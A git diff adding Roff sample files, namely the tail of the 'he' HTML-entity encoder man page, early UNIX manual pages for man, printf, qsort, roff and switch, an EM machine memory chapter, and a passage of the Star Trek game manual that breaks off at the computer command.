+Take a string of text and encode any symbols that aren't printable ASCII symbols and that can be replaced with character references. For example, it would turn `©` into `&#xA9;`, but it wouldn't turn `+` into `&#x2B;` since there is no point in doing so. Additionally, it replaces any remaining non-ASCII symbols with a hexadecimal escape sequence (e.g. `&#x1D306;`). The return value of this function is always valid HTML.
+.It Sy "--encode --use-named-refs"
+Enable the use of named character references (like `&copy;`) in the output. If compatibility with older browsers is a concern, don't use this option.
+.It Sy "--encode --everything"
+Encode every symbol in the input string, even safe printable ASCII symbols.
+.It Sy "--encode --allow-unsafe"
+Encode non-ASCII characters only. This leaves unsafe HTML/XML symbols like `&`, `<`, `>`, `"`, and `'` intact.
+.It Sy "--encode --decimal"
+Use decimal digits rather than hexadecimal digits for encoded character references, e.g. output `&#169;` instead of `&#xA9;`.
+.It Sy "--decode"
+Takes a string of HTML and decode any named and numerical character references in it using the algorithm described in the HTML spec.
+.It Sy "--decode --attribute"
+Parse the input as if it was an HTML attribute value rather than a string in an HTML text content.
+.It Sy "--decode --strict"
+Throw an error if an invalid character reference is encountered.
+.It Sy "-v, --version"
+Print he's version.
+.It Sy "-h, --help"
+Show the help screen.
+.El
+.Sh EXIT STATUS
+The
+.Nm he
+utility exits with one of the following values:
+.Pp
+.Bl -tag -width flag -compact
+.It Li 0
+.Nm
+did what it was instructed to do successfully; either it encoded/decoded the input and printed the result, or it printed the version or usage message.
+.It Li 1
+.Nm
+encountered an error.
+.El
+.Sh EXAMPLES
+.Bl -ohang -offset
+.It Sy "he --escape '<script>alert(1)</script>'"
+Print an escaped version of the given string that is safe for use in HTML text contexts, escaping only `&`, `<`, `>`, `"`, and `'`.
+.It Sy "he --decode '&copy;&#x1D306;'"
+Print the decoded version of the given HTML string.
+.It Sy "echo\ '&copy;&#x1D306;'\ |\ he --decode"
+Print the decoded version of the HTML string that gets piped in.
+.El
+.Sh BUGS
+he's bug tracker is located at <https://github.com/mathiasbynens/he/issues>.
+.Sh AUTHOR
+Mathias Bynens <https://mathiasbynens.be/>
+.Sh WWW
+<https://mths.be/he>
diff --git a/samples/Roff/man.1m b/samples/Roff/man.1m
new file mode 100644
index 0000000000..cd9422d4da
--- /dev/null
+++ b/samples/Roff/man.1m
@@ -0,0 +1,34 @@
+.th MAN I 8/20/73
+.sh NAME
+man \*- run off section of UNIX manual
+.sh SYNOPSIS
+.bd man
+[ section ] [ title ... ]
+.sh DESCRIPTION
+.it Man
+is a shell command file that will locate
+and run off one or more sections of this manual.
+.it Section
+is the section number of the manual,
+as an Arabic not Roman numeral,
+and is optional.
+.it Title
+is one or more section names;
+these names bear a generally simple relation
+to the page captions in the manual.
+If the
+.it section
+is missing,
+.bd 1
+is assumed.
+For example,
+.s3
+.bd "	man man"
+.s3
+would reproduce this page.
+.sh FILES
+/usr/man/man?/*
+.sh BUGS
+The manual is supposed to be reproducible either on
+the phototypesetter or on a typewriter.
+However, on a typewriter some information is necessarily lost.
diff --git a/samples/Roff/printf.3in b/samples/Roff/printf.3in
new file mode 100644
index 0000000000..1a4bc1d556
--- /dev/null
+++ b/samples/Roff/printf.3in
@@ -0,0 +1,137 @@
+.th PRINTF III 9/17/73
+.sh NAME
+printf \*- formatted print
+.sh SYNOPSIS
+.ft B
+printf(format, arg\s6\d1\u\s10, ...);
+.br
+char *format;
+.ft R
+.sh DESCRIPTION
+.it Printf
+converts, formats, and prints its arguments after the first
+under control of the first argument.
+The first argument is a character string
+which contains
+two types of objects:
+plain characters, which are simply copied to the
+output stream,
+and conversion specifications,
+each of which causes conversion and printing
+of the next successive argument to
+.it printf.
+.s3
+Each conversion specification is introduced by
+the character \fB%\fR.
+Following the \fB%\fR, there may be
+.s3
+.lp +6 2
+\*-	an optional minus sign `\*-' which specifies
+.it "left adjustment"
+of the converted argument
+in the
+indicated field;
+.s3
+.lp +6 2
+\*-	an optional digit string specifying a
+.it "field width;"
+if the converted argument has fewer characters
+than the field width
+it will be blank-padded on the left (or right,
+if the left-adjustment indicator has been
+given) to make up the field width;
+.s3
+.lp +6 2
+\*-	an optional period ``\fB.\fR'' which serves to
+separate the field width from the
+next digit string;
+.s3
+.lp +6 2
+\*-	an optional digit string
+.it "(precision)"
+which specifies
+the number of digits to appear after the
+decimal point, for e- and f-conversion,
+or the maximum number of characters
+to be printed from a string;
+.s3
+.lp +6 2
+\*-	a character which indicates the type of
+conversion to be applied.
+.s3
+.i0
+The conversion characters
+and their meanings are
+.s3
+.lp +6 3
+d	The argument is converted to decimal notation.
+.s3
+.lp +6 3
+o	The argument is converted to octal notation.
+``0'' will always appear as the first digit.
+.s3
+.lp +6 3
+f	The argument is converted to decimal notation
+in the style ``[\fB\*-\fR]ddd.ddd''
+where the number of d's after the decimal point
+is equal to the precision specification
+for the argument.
+If the precision
+is missing,
+6 digits are given;
+if the precision is explicitly 0, no digits and
+no decimal point are printed.
+The argument should be
+.it float
+or
+.it double.
+.s3
+.lp +6 3
+e	The argument is converted in the style
+``[\fB\*-\fR]d\fB.\fRddd\fBe\fR\(+-dd''
+where there is one digit before the decimal point and
+the number after is equal to the
+precision specification for the argument;
+when the precision is missing,
+6 digits are produced.
+The argument should be a
+.it float
+or
+.it double
+quantity.
+.s3
+.lp +6 3
+c	The argument character or character-pair is printed if non-null.
+.s3
+.lp +6 3
+s	The argument is taken to be a string (character pointer)
+and characters from the string are printed until
+a null character or until
+the number of characters indicated by the precision
+specification is reached;
+however if the precision is 0 or missing
+all characters up to a null are printed.
+.s3
+.lp +6 3
+l	The argument is taken to be an unsigned
+integer which is converted to decimal
+and printed (the result will be in the
+range 0 to 65535).
+.s3
+.i0
+If no recognizable character appears after the \fB%\fR,
+that character is printed;
+thus \fB%\fR may be printed by use of the
+string \fB%%\fR.
+In no case does a non-existent or small field width
+cause truncation of a field;
+padding takes place only if the specified field
+width exceeds the actual width.
+Characters generated by
+.it printf
+are printed by calling
+.it putchar.
+.sh "SEE ALSO"
+putchar (III)
+.sh BUGS
+Very wide fields (>128 characters) fail.
diff --git a/samples/Roff/qsort.3qt b/samples/Roff/qsort.3qt
new file mode 100644
index 0000000000..21f209b394
--- /dev/null
+++ b/samples/Roff/qsort.3qt
@@ -0,0 +1,50 @@
+.th QSORT III 6/12/72
+.sh NAME
+qsort \*- quicker sort
+.sh SYNOPSIS
+.nf
+(end+1 of data in r2)
+(element width in r3)
+.ft B
+jsr pc,qsort
+.s3
+qsort(base, nel, width, compar)
+char *base;
+int (*compar)( );
+.fi
+.ft R
+.sh DESCRIPTION
+.it Qsort
+is an implementation
+of the quicker-sort algorithm.
+The assembly-language version
+is designed to sort equal length
+elements.
+Registers r1 and r2 delimit the region of
+core containing the array of byte strings to be sorted:
+r1 points to the start of the first string, r2 to the first
+location above the last string.
+Register r3 contains the length of each string.
+r2\*-r1 should be a multiple of r3.
+On return, r0, r1, r2, r3 are destroyed.
+.s3
+The routine compar (q.v.) is called to compare elements
+and may be replaced by the user.
+.s3
+The C version has somewhat different arguments
+and the user must supply a comparison routine.
+The first argument is to the base of the data;
+the second is the number of elements;
+the third is the width of an element
+in bytes;
+the last is the name of the comparison routine.
+It is called with two arguments which are pointers
+to the elements being compared.
+The routine must return a negative integer if the
+first element is to be considered less than
+the second, a positive integer if the second
+element is smaller than the first, and 0
+if the elements are equal.
+.sh "SEE ALSO"
+compar (III)
+.sh BUGS
diff --git a/samples/Groff/refs.rno b/samples/Roff/refs.rno
similarity index 100%
rename from samples/Groff/refs.rno
rename to samples/Roff/refs.rno
diff --git a/samples/Roff/roff.1in b/samples/Roff/roff.1in
new file mode 100644
index 0000000000..b14ab38288
--- /dev/null
+++ b/samples/Roff/roff.1in
@@ -0,0 +1,197 @@
+.pa 1
+.he 'ROFF (I)'6/12/72'ROFF (I)'
+.ti 0
+NAME		roff  --  format text
+.sp
+.ti 0
+.nf
+SYNOPSIS	roff____ [ +_number ] [ -s__ ] [ -h__ ] file\d1\u ...
+.fi
+.sp
+.ti 0
+DESCRIPTION	roff____
+formats text according to control lines embedded
+in the text in file918, ... .
+Encountering a nonexistent file terminates printing.
+The optional argument "+_number" causes printing
+to begin at the first page
+with that number.
+The optional argument
+"-s__" causes printing to stop before each page
+including the first
+to allow paper manipulation;
+printing is resumed upon
+receipt of an interrupt signal.
+The optional argument
+"-h" causes the output to contain
+horizontal tabs for two or more spaces
+that end on a tab stop.
+An interrupt signal received during printing terminates all
+printing.
+Incoming interconsole messages are turned off during printing,
+and the original message acceptance state is restored upon
+termination.
+.sp
+At the present time, there
+is no document describing ROFF in full.
+A Request Summary is attached.
+.sp
+.ti 0
+FILES		/etc/suftab	suffix hyphenation tables
+.br
+/tmp/rtm?	temporary
+.br
+.sp
+.ti 0
+SEE ALSO	--
+.sp
+.ti 0
+DIAGNOSTICS	none
+.sp
+.ti 0
+BUGS		-
+.bp
+.de xx
+.ti 0
+..
+.tr &.
+.tc |
+.tr |
+.in 0
+.ce
+REQUEST SUMMARY
+.sp 2
+.ul
+Request	Break	Initial	Meaning
+.in 24
+.na
+.sp
+.xx
+&ad	yes	yes	Begin adjusting right margins.
+.xx
+&ar	no	arabic	Arabic page numbers.
+.xx
+&br	yes	-	Causes a line break -� th� filling of
+the current line is stopped.
+.xx
+&bl|n	yes	-	Insert contiguous block of n blank lines.
+If necessary, a new page will be
+started to accomodate the entire block.
+.xx
+&bp|+n	yes	n=1	Begin new page and number it n.
+If n is not given, normal sequencing occurs.
+.xx
+&cc|c	no	c=.	Control character becomes `c'.
+.xx
+&ce|n	yes	-	Center the next n input lines,
+without filling.
+.xx
+&de|xx	no	-	Define macro named "xx"
+(definition ends with a line beginning with "..").
+.xx
+&ds	yes	no	Double space; same as ".ls 2".
+.xx
+&ef|t	no	t=''''	Even foot title becomes t.
+.xx
+&eh|t	no	t=''''	Even head title becomes t.
+.xx
+&fi	yes	yes	Begin filling output lines.
+.xx
+&fo	no	t=''''	All foot titles are t.
+.xx
+&hc|c	no	none	Hyphenation character set to `c'.
+.xx
+&he|t	no	t=''''	All head titles are t.
+.xx
+&hx	no	-	Title lines are suppressed.
+.xx
+&hy|n	no	n=1	Hyphenation is done, if n=1;
+and is not done, if n=0.
+.xx
+&ig	no	-	Ignore input lines until and including
+a line beginning with "..".
+.xx
+&in|+n	yes	-	Indent n spaces from left margin.
+.xx
+&ix +n	no	-	Same as ".in" but without break.
+.xx
+&li|n	no	-	Literal, treat next n lines as text.
+.xx
+&ll|+n	no	n=65	Line length including indent is n characters.
+.xx
+&ls|+n	yes	n=1	Line spacing set to n lines per output line.
+.xx
+&m1|n	no	n=2	n blank lines are put between the top
+of a new page and the head title.
+.xx
+&m2|n	no	n=2	n blanks lines put between head title
+and beginning of text on page.
+.xx
+&m3|n	no	n=1	n blank lines put between the end of
+text and the foot title.
+.xx
+&m4|n	no	n=3	n blank lines put between the foot title
+and the bottom of page.
+.xx
+&na	yes	no	Stop adjusting the right margin.
+.xx
+&ne|n	no	-	Begin new page, if n output lines
+cannot fit on present page.
+.xx
+&nn|+n	no	-	The next n output lines are not numbered.
+.xx
+&n1	no	no	Output lines are numbered sequentially
+beginning with 1 on each new page.
+Head and foot titles are not numbered.
+.xx
+&n2	no	no	Output lines are numbered sequentially
+beginning with 1 on the next output line.
+.xx
+&ni|+n	no	n=0	Line numbers are indented n.
+.xx
+&nf	yes	no	Stop filling output lines.
+.xx
+&nx|filename	-	Change to input file "filename".
+.xx
+&of|t	no	t=''''	Odd foot title becomes t.
+.xx
+&oh|t	no	t=''''	Odd head title becomes t.
+.xx
+&pa|+n	yes	n=1	Same as ".bp".
+.xx
+&pl|+n	no	n=66	Total paper length taken to be n lines.
+.xx
+&po|+n	no	n=0	Page offset.
+All lines are preceded by N spaces.
+.xx
+&ro	no	arabic	Roman page numbers.
+.xx
+&sk|n	no	-	n pages with head and foot titles but
+otherwise blank will be output beginning
+with the next page containing text.
+.xx
+&sp|n	yes	-	Insert block of n blank lines.
+If the bottom of a page is reached,
+remaining lines are not___ put on next page.
+.xx
+&ss	yes	yes	Single space output lines,
+equivalent to ".ls 1".
+.xx
+&ta|N|M|...	-	Pseudotab settings.
+Initial tab settings are columns 9,17,25,...
+.xx
+&tc|c	no	c="|"	Tab replacement character becomes "c".
+.xx
+&ti|+n	yes	-	Temporarily indent next output line
+n spaces.
+.xx
+&tr|abcd.. no	-	Translate a into b, c into d, etc.
+.xx
+&ul|n	no	-	Underline the letters and numbers on the
+next n input lines.
+.sp
+.in 0
+.fi
+.tc
+.in 16
+.tr ||
diff --git a/samples/Roff/roff.nr b/samples/Roff/roff.nr
new file mode 100644
index 0000000000..a4a1490021
--- /dev/null
+++ b/samples/Roff/roff.nr
@@ -0,0 +1,80 @@
+.bp
+.P1 MEMORY
+.PP
+The EM machine has two distinct address spaces,
+one for instructions and one for data.
+The data space is divided up into 8-bit bytes.
+The smallest addressable unit is a byte.
+Bytes are numbered consecutively from 0 to some maximum.
+All sizes in EM are expressed in bytes.
+.PP
+Some EM instructions can transfer objects containing several bytes
+to and/or from memory.
+The size of all objects larger than a word must be a multiple of
+the wordsize.
+The size of all objects smaller than a word must be a divisor
+of the wordsize.
+For example: if the wordsize is 2 bytes, objects of the sizes 1,
+2, 4, 6,... are allowed.
+The address of such an object is the lowest address of all bytes it contains.
+For objects smaller than the wordsize, the
+address must be a multiple of the object size.
+For all other objects the address must be a multiple of the
+wordsize.
+For example, if an instruction transfers a 4-byte object to memory at
+location \fIm\fP and the wordsize is 2,
+\fIm\fP must be a multiple of 2 and the bytes at
+locations \fIm\fP, \fIm\fP\|+\|1,\fIm\fP\|+\|2 and
+\fIm\fP\|+\|3 are overwritten.
+.PP
+The size of almost all objects in EM
+is an integral number of words.
+Only two operations are allowed on
+objects whose size is a divisor of the wordsize:
+push it onto the stack and pop it from the stack.
+The addressing of these objects in memory is always indirect.
+If such a small object is pushed onto the stack
+it is assumed to be a small integer and stored
+in the least significant part of a word.
+The rest of the word is cleared to zero,
+although
+EM provides a way to sign-extend a small integer.
+Popping a small object from the stack removes a word
+from the stack, stores the least significant byte(s)
+of this word in memory and discards the rest of the word.
+.PP
+The format of pointers into both address spaces is explicitly undefined.
+The size of a pointer, however, is fixed for a member of EM, so that
+the compiler writer knows how much storage to allocate for a pointer.
+.PP
+A minor problem is raised by the undefined pointer format.
+Some languages, notably Pascal, require a special,
+otherwise illegal, pointer value to represent the nil pointer.
+The current Pascal-VU compiler uses the
+integer value 0 as nil pointer.
+This value is also used by many C programs as a normally impossible address.
+A better solution would be to have a special
+instruction loading an illegal pointer value,
+but it is hard to imagine an implementation
+for which the current solution is inadequate,
+especially because the first word in the EM data space
+is special and probably not the target of any pointer.
+.PP
+The next two chapters describe the EM memory
+in more detail.
+One describes the instruction address space,
+the other the data address space.
+.PP
+A design goal of EM has been to allow
+its implementation on a wide range of existing machines,
+as well as allowing a new one to be built in hardware.
+To this extent we have tried to minimize the demands
+of EM on the memory structure of the target machine.
+Therefore, apart from the logical partitioning,
+EM memory is divided into 'fragments'.
+A fragment consists of consecutive machine
+words and has a base address and a size.
+Pointer arithmetic is only defined within a fragment.
+The only exception to this rule is comparison with the null
+pointer.
+All fragments must be word aligned.
\ No newline at end of file
diff --git a/samples/Roff/switch.3m b/samples/Roff/switch.3m
new file mode 100644
index 0000000000..c6ccccbc23
--- /dev/null
+++ b/samples/Roff/switch.3m
@@ -0,0 +1,44 @@
+.pa 1
+.he 'SWITCH (III)'3/15/72'SWITCH (III)'
+.ti 0
+NAME		switch  --  switch on value
+.sp
+.ti 0
+SYNOPSIS	(switch value in r0)
+.br
+jsr	r5,switch; swtab
+.br
+(not-found return)
+.br
+.li
+...
+.ti -7
+swtab: val1; lab1;
+.br
+.li
+...
+.br
+valn; labn
+.br
+.li
+..;  0
+.sp
+.ti 0
+DESCRIPTION	switch______
+compares the value of r0 against each of the val\di\u; if
+a match is found, control is transferred to the corresponding
+lab\di\u (after popping the stack once).
+If no match has been found by the time a null lab\di\u
+occurs, switch______ returns.
+.sp
+.ti 0
+FILES		kept in /lib/liba.a
+.sp
+.ti 0
+SEE ALSO	--
+.sp
+.ti 0
+DIAGNOSTICS	--
+.sp
+.ti 0
+BUGS		--
diff --git a/samples/Roff/trekmanual.nr b/samples/Roff/trekmanual.nr
new file mode 100644
index 0000000000..dbcc0c006d
--- /dev/null
+++ b/samples/Roff/trekmanual.nr
@@ -0,0 +1,897 @@
+.\" $FreeBSD: src/games/trek/DOC/trekmanual.nr,v 1.1.1.1.14.1 2002/08/15 18:10:56 schweikh Exp $
+.\" $DragonFly: src/games/trek/DOC/trekmanual.nr,v 1.2 2003/06/17 04:25:25 dillon Exp $
+.br
+.po 10
+.if n \!.
+.sp 15
+.tr ^ \"
+.ce 88
+^****^^^^*****^^^^^^*^^^^^^****^
+*^^^^^^^^^^*^^^^^^^*^*^^^^^*^^^*
+^***^^^^^^^*^^^^^^*****^^^^****^
+^^^^*^^^^^^*^^^^^^*^^^*^^^^*^^*^
+****^^^^^^^*^^^^^^*^^^*^^^^*^^^*
+
+
+*****^^^^****^^^^^*****^^^^*^^^*
+^^*^^^^^^*^^^*^^^^*^^^^^^^^*^^*^
+^^*^^^^^^****^^^^^***^^^^^^***^^
+^^*^^^^^^*^^*^^^^^*^^^^^^^^*^^*^
+^^*^^^^^^*^^^*^^^^*****^^^^*^^^*
+
+
+by
+
+Eric Allman
+University of California
+Berkeley
+.ce 0
+.tr ^^
+.de HE
+'sp 4
+'tl 'STAR TREK''%'
+'sp 3
+..
+.de FO
+'bp
+..
+.wh 0 HE
+.wh -5 FO
+.de pp
+.sp
+.ti +4
+..
+.bp 1
+.ce
+INTRODUCTION
+.pp
+Well, the federation is once again at war with the Klingon empire.
+It is up to you,
+as captain of the U.S.S. Enterprise,
+to wipe out the invasion fleet and save the Federation.
+.pp
+For the purposes of the game
+the galaxy is divided into 64 quadrants
+on an eight by eight grid,
+with quadrant 0,0 in the upper left hand corner.
+Each quadrant is divided into 100 sectors
+on a ten by ten grid.
+Each sector contains one object
+(e.g., the Enterprise, a Klingon, or a star).
+.pp
+Navigation is handled in degrees,
+with zero being straight up
+and ninety being to the right.
+Distances are measured in quadrants.
+One tenth quadrant is one sector.
+.pp
+The galaxy contains starbases,
+at which you can dock to refuel,
+repair damages, etc.
+The galaxy also contains stars.
+Stars usually have a knack for getting in your way,
+but they can be triggered into going nova
+by shooting a photon torpedo at one,
+thereby (hopefully) destroying any adjacent Klingons.
+This is not a good practice however,
+because you are penalized for destroying stars.
+Also, a star will sometimes go supernova,
+which obliterates an entire quadrant.
+You must never stop in a supernova quadrant,
+although you may "jump over" one.
+.pp
+Some starsystems
+have inhabited planets.
+Klingons can attack inhabited planets
+and enslave the populace,
+which they then put to work building more Klingon battle cruisers.
+.bp
+.ce
+STARTING UP THE GAME
+.pp
+To request the game, issue the command
+.sp
+.ti +12
+/usr/games/trek
+.sp
+from the shell.
+If a filename is stated,
+a log of the game is written
+onto that file.
+If omitted,
+the file is not written.
+If the "-a" flag is stated before the filename,
+that file is appended to
+rather than created.
+.pp
+The game will ask you what length game
+you would like.
+Valid responses are "short", "medium", and "long".
+Ideally the length of the game does not
+affect the difficulty,
+but currently the shorter games
+tend to be harder than the longer ones.
+You may also type "restart",
+which restarts a previously saved game.
+.pp
+You will then be prompted for the skill,
+to which you must respond
+"novice", "fair", "good", "expert",
+"commodore", or "impossible".
+You should start out with a novice
+and work up,
+but if you really want to see how fast
+you can be slaughtered,
+start out with an impossible game.
+.pp
+In general,
+throughout the game,
+if you forget what is appropriate
+the game will tell you what it expects
+if you just type in
+a question mark.
+.pp
+To get a copy of these rules,
+execute the command
+.sp
+.ti +12
+nroff /usr/games/trekmanual.nr
+.sp
+.bp
+.ce
+ISSUING COMMANDS
+.pp
+If the game expects you to enter a command,
+.hc ^
+it will say ^"Command:\ "
+and wait for your response.
+Most commands can be abbreviated.
+.pp
+At almost any time you can type more than one thing on a line.
+For example,
+to move straight up one quadrant,
+you can type
+.ti +12
+move 0 1
+.br
+or you could just type
+.ti +12
+move
+.br
+and the game would prompt you with
+.ti +12
+Course:
+.br
+to which you could type
+.ti +12
+0 1
+.br
+The "1" is the distance,
+which could be put on still another line.
+Also, the "move" command
+could have been abbreviated
+"mov", "mo", or just "m".
+.pp
+If you are partway through a command
+and you change your mind,
+you can usually type "-1"
+to cancel the command.
+.pp
+Klingons generally cannot hit you
+if you don't consume anything
+(e.g., time or energy),
+so some commands are considered "free".
+As soon as you consume anything though -- POW!
+.bp
+.de **
+.if \\n+l .**
+.as x *
+..
+.de bl
+.nr l \\w'\\$1' -\\w'*'
+.ds x ****
+.**
+.sp 3
+.ne 3
+\\*x
+.br
+.if t *\h'\w'*'u'\fB\\$1\fP\h'\w'*'u'*
+.if n * \\$1 *
+.br
+\\*x
+.sp
+.in +8
+.nf
+..
+.de FF
+.in -8
+.fi
+..
+.if !\n(.V .ta \w'Full Commands: '+1
+.if \n(.V .ta \w'Full Commands: 'u
+.ce
+THE COMMANDS
+.bl "Short Range Scan"
+Mnemonic: srscan
+Shortest Abbreviation: s
+Full Commands: srscan
+	srscan yes/no
+Consumes: nothing
+.FF
+.pp
+The short range scan
+gives you a picture
+of the quadrant you are in,
+and (if you say "yes")
+a status report
+which tells you
+a whole bunch
+of interesting stuff.
+You can get a status report alone
+by using the
+.ul
+status
+command.
+An example follows:
+.sp
+.nf
+.in +4
+Short range sensor scan
+  0 1 2 3 4 5 6 7 8 9
+0 . . . . . . . * . * 0   stardate      3702.16
+1 . . E . . . . . . . 1   condition     RED
+2 . . . . . . . . . * 2   position      0,3/1,2
+3 * . . . . # . . . . 3   warp factor   5.0
+4 . . . . . . . . . . 4   total energy  4376
+5 . . * . * . . . . . 5   torpedoes     9
+6 . . . @ . .   . . . 6   shields       down, 78%
+7 . . . . . . . . . . 7   Klingons left 3
+8 . . . K . . . . . . 8   time left     6.43
+9 . . . . . . * . . . 9   life support  damaged, reserves = 2.4
+  0 1 2 3 4 5 6 7 8 9
+Distressed Starsystem Marcus XII
+
+.in +8
+.ti -8
+The cast of characters is as follows:
+E  the hero
+K  the villain
+#  the starbase
+*  stars
+@  inhabited starsystem
+\&.  empty space
+   a black hole
+.in -12
+.fi
+.pp
+The name of the starsystem is listed underneath
+the short range scan.
+The word "distressed", if present,
+means that the starsystem
+is under attack.
+.pp
+Short range scans are absolutely free.
+They use no time, no energy,
+and they don't give the Klingons
+another chance to hit you.
+.bl "Status Report"
+Mnemonic: status
+Shortest Abbreviation: st
+Consumes: nothing
+.FF
+.pp
+This command gives you information
+about the current status
+of the game and your ship, as follows:
+.in +8
+.de qq
+.sp
+.ti -4
+..
+.qq
+Stardate -- The current stardate.
+.qq
+Condition -- as follows:
+.in +4
+.nf
+RED -- in battle
+YELLOW -- low on energy
+GREEN -- normal state
+DOCKED -- docked at starbase
+CLOAKED -- the cloaking device is activated
+.fi
+.in -4
+.qq
+Position -- Your current quadrant and sector.
+.qq
+Warp Factor -- The speed you will move at
+when you move under warp power
+(with the
+.ul
+move
+command).
+.qq
+Total Energy -- Your energy reserves.
+If they drop to zero,
+you die.
+Energy regenerates,
+but the higher the skill of the game,
+the slower it regenerates.
+.qq
+Torpedoes -- How many photon torpedoes you have left.
+.qq
+Shields -- Whether your shields are up or down,
+and how effective they are if up
+(what percentage of a hit they will absorb).
+.qq
+Klingons Left -- Guess.
+.qq
+Time Left -- How long the Federation can hold out
+if you sit on your fat ass and do nothing.
+If you kill Klingons quickly,
+this number goes up,
+otherwise,
+it goes down.
+If it hits zero,
+the Federation is conquered.
+.qq
+Life Support -- If "active", everything is fine.
+If "damaged", your reserves tell you
+how long you have
+to repair your life support
+or get to a starbase
+before you starve, suffocate,
+or something equally unpleasant.
+.qq
+Current Crew -- The number of crew members
+left.
+This figures does not include officers.
+.qq
+Brig Space -- The space left in your brig
+for Klingon captives.
+.qq
+Klingon Power -- The number of units
+needed to kill a Klingon.
+Remember, as Klingons fire at you
+they use up their own energy,
+so you probably need somewhat less
+than this.
+.qq
+Skill, Length -- The skill and length
+of the game you are playing.
+.in -8
+.pp
+Status information is absolutely free.
+.bl "Long Range Scan"
+Mnemonic: lrscan
+Shortest Abbreviation: l
+Consumes: nothing
+.FF
+.pp
+Long range scan gives you information about the
+eight quadrants
+that surround the quadrant
+you're in.
+A sample long range scan follows:
+.sp
+.in +12
+.nf
+Long range scan for quadrant 0,3
+
+     2     3     4
+  -------------------
+  !  *  !  *  !  *  !
+  -------------------
+0 ! 108 !   6 !  19 !
+  -------------------
+1 !   9 ! /// !   8 !
+  -------------------
+.sp
+.in -12
+.fi
+.pp
+The three digit numbers
+tell the number of objects
+in the quadrants.
+The units digit tells the number of stars,
+the tens digit the number of starbases,
+and the hundreds digit is the number of Klingons.
+"*" indicates the negative energy barrier
+at the edge of the galaxy,
+which you cannot enter.
+"///" means that that is a supernova quadrant
+and must not be entered.
+.bl "Damage Report"
+Mnemonic: damages
+Shortest Abbreviation: da
+Consumes: nothing
+.FF
+.pp
+A damage report tells you what devices are damaged
+and how long it will take to repair them.
+Repairs proceed faster
+when you are docked
+at a starbase.
+.bl "Set Warp Factor"
+Mnemonic: warp
+Shortest Abbreviation: w
+Full Command: warp factor
+Consumes: nothing
+.FF
+.pp
+The warp factor tells the speed of your starship
+when you move under warp power
+(with the
+.ul
+move
+command).
+The higher the warp factor,
+the faster you go,
+and the more energy you use.
+.pp
+The minimum warp factor is 1.0
+and the maximum is 10.0.
+At speeds above warp 6
+there is danger of the warp engines
+being damaged.
+The probability of this
+increases at higher warp speeds.
+Above warp 9.0 there is a chance of entering
+a time warp.
+.bl "Move Under Warp Power"
+Mnemonic: move
+Shortest Abbreviation: m
+Full Command: move course distance
+Consumes: time and energy
+.FF
+.pp
+This is the usual way of moving.
+The course is in degrees and the distance is in quadrants.
+To move one sector specify a distance of 0.1.
+.pp
+Time is consumed proportionately to
+the inverse of the warp factor squared,
+and directly to the distance.
+Energy is consumed as the warp factor cubed,
+and directly to the distance.
+If you move with your shields up
+it doubles the amount of energy consumed.
+.pp
+When you move in a quadrant containing Klingons,
+they get a chance to attack you.
+.pp
+The computer detects navigation errors.
+If the computer is out,
+you run the risk of running into things.
+.pp
+The course is determined by the
+Space Inertial Navigation System
+[SINS].
+As described in
+Star Fleet Technical Order TO:02:06:12,
+the SINS is calibrated,
+after which it becomes the base for navigation.
+If damaged,
+navigation becomes inaccurate.
+When it is fixed,
+Spock recalibrates it,
+however,
+it cannot be calibrated extremely accurately
+until you dock at starbase.
+.bl "Move Under Impulse Power"
+Mnemonic: impulse
+Shortest Abbreviation: i
+Full Command: impulse course distance
+Consumes: time and energy
+.FF
+.pp
+The impulse engines give you a chance to maneuver
+when your warp engines are damaged;
+however, they are incredibly slow
+(0.095 quadrants/stardate).
+They require 20 units of energy to engage,
+and ten units per sector to move.
+.pp
+The same comments about the computer and the SINS
+apply as above.
+.pp
+There is no penalty to move under impulse power
+with shields up.
+.bl "Deflector Shields"
+Mnemonic: shields
+Shortest Abbreviation: sh
+Full Command: shields up/down
+Consumes: energy
+.FF
+.pp
+Shields protect you from Klingon attack
+and nearby novas.
+As they protect you,
+they weaken.
+A shield which is 78% effective
+will absorb 78% of a hit
+and let 22% in to hurt you.
+.pp
+The Klingons have a chance to attack you
+every time you raise or lower shields.
+Shields do not rise and lower
+instantaneously,
+so the hit you receive
+will be computed with the shields
+at an intermediate effectiveness.
+.pp
+It takes energy to raise shields,
+but not to drop them.
+.bl "Cloaking Device"
+Mnemonic: cloak
+Shortest Abbreviation: cl
+Full Command: cloak up/down
+Consumes: energy
+.FF
+.pp
+When you are cloaked,
+Klingons cannot see you,
+and hence they do not fire at you.
+They are useful for entering
+a quadrant
+and selecting a good position,
+however,
+weapons cannot be fired through
+the cloak
+due to the huge energy drain
+that it requires.
+.pp
+The cloak up command
+only starts the cloaking process;
+Klingons will continue
+to fire at you
+until you do something
+which consumes time.
+.bl "Fire Phasers"
+Mnemonic: phasers
+Shortest Abbreviation: p
+Full Commands: phasers automatic amount
+	phasers manual amt1 course1 spread1 ...
+Consumes: energy
+.FF
+.pp
+Phasers are energy weapons;
+the energy comes from your ship's reserves
+("total energy" on a srscan).
+It takes about 250 units of hits
+to kill a Klingon.
+Hits are cumulative as long as you stay
+in the quadrant.
+.pp
+Phasers become less effective
+the further from a Klingon you are.
+Adjacent Klingons receive about
+90% of what you fire,
+at five sectors about 60%,
+and at ten sectors about 35%.
+They have no effect outside of the quadrant.
+.pp
+Phasers cannot be fired while shields are up;
+to do so would fry you.
+They have no effect on starbases or stars.
+.pp
+In automatic mode
+the computer decides how to divide up the energy
+among the Klingons present;
+in manual mode you do that yourself.
+.pp
+In manual mode firing
+you specify a direction,
+amount (number of units to fire)
+and spread (0 -> 1.0)
+for each of the six phaser banks.
+A zero amount
+terminates the manual input.
+.bl "Fire Photon Torpedoes"
+Mnemonic: torpedo
+Shortest Abbreviation: t
+Full Command: torpedo course [yes/no] [burst angle]
+Consumes: torpedoes
+.FF
+.pp
+Torpedoes are projectile weapons -- there are no partial hits.
+You either hit your target or you don't.
+A hit on a Klingon destroys him.
+A hit on a starbase destroys that starbase
+(woops!).
+Hitting a star usually causes it to go nova,
+and occasionally supernova.
+.pp
+Photon torpedoes cannot be aimed precisely.
+They can be fired with shields up,
+but they get even more random
+as they pass through the shields.
+.pp
+Torpedoes may be fired in bursts of three.
+If this is desired,
+the burst angle is the angle
+between the three shots,
+which may vary from one to fifteen.
+The word "no"
+says that a burst is not wanted;
+the word "yes"
+(which may be omitted
+if stated on the same line as the course)
+says that a burst is wanted.
+.pp
+Photon torpedoes
+have no effect
+outside the quadrant.
+.bl "Onboard Computer Request"
+Mnemonic: computer
+Shortest Abbreviation: c
+Full Command: computer request; request;...
+Consumes: nothing
+.FF
+.pp
